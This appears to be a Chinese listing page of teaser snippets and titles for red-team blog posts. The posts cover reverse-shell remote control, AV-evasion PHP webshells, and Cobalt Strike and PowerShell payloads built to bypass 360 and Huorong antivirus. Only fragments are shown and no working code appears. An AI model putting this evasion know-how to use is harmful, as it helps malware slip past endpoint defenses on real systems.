文章来源|MS08067 红队培训班第4期本文作者:学员A(红队培训班4期学员) 按老师要求尝试完成布置的作业如下: 要想实现简易远控,说的详细点就是反弹shell,首先要解决三个问题: 1.与服 ...
2017php免杀大马,cs 免杀 payload 绕过 360 全家桶
文章来源于叮咚实验室作者:吃个橘子实验环境: Win10 物理机(cs 服务端)Win7 虚拟机(360 安全卫士+360 杀毒全家桶最新版) 准备材料:vs2017 ,cs 我们先用CS生成普 ...
Powershell 过火绒免杀上线
payload生成原生payload生成后被无情秒杀 powershell免杀制作打开powershell命令行,将payload编码 1.新建一个变量h,用来接收之后编码的payload $h= ...

Python反序列化免杀上线CS：两次编码绕过

目录

环境